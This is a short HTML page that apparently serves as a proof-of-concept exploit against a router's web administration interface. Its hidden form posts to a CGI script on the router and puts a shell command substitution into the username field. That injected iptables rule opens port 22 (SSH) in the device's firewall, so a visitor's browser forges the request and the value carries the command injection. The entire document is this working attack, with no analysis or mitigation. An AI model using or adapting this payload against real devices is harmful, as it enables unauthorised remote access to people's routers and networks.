<html> <head> </head> <body> <center> <form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data"> <input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" > <input type="submit" name="submit" value="Submit" /> </form> </body> </html>